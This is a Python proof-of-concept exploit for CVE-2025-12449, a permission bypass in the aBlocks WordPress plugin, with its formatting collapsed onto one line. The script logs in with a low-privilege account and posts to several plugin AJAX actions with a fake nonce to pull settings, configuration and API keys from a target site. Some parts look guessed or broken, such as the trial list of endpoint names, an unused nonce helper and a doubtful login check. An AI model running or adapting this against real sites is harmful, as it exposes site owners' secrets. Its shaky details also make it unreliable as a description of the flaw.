CVE-2025-12449

# CVE-2025-12449 PoC - aBlocks WordPress Plugin Unauthorized Access # This PoC demonstrates the permission bypass vulnerability in aBlocks plugin # Requires: Valid WordPress account with subscriber-level access or higher import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "attacker_password" def get_wp_nonce(url): """Get WordPress nonce for AJAX requests""" response = requests.get(url + "/wp-admin/", allow_redirects=False) if response.status_code == 200: return response.cookies.get('wordpress_test_cookie') return None def exploit_ablocks_settings(): """Exploit the missing capability check in aBlocks AJAX handlers""" session = requests.Session() # Step 1: Login to WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'testcookie': '1' } login_response = session.post( TARGET_URL + "/wp-login.php", data=login_data, allow_redirects=True ) if 'logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Exploit settings endpoint to read plugin configuration exploit_endpoints = [ '/wp-admin/admin-ajax.php?action=ablocks_get_settings', '/wp-admin/admin-ajax.php?action=ablocks_read_config', '/wp-admin/admin-ajax.php?action=ablocks_get_api_keys' ] for endpoint in exploit_endpoints: print(f"[*] Testing endpoint: {endpoint}") exploit_data = { 'action': endpoint.split('action=')[1], 'nonce': 'any_value_as_nonce_not_checked' } response = session.post( TARGET_URL + endpoint, data=exploit_data ) if response.status_code == 200: print(f"[+] Endpoint accessible without proper authorization!") print(f"[+] Response: {response.text[:500]}") return True if __name__ == "__main__": print("CVE-2025-12449 PoC - aBlocks Plugin Permission Bypass") print("=" * 60) exploit_ablocks_settings()

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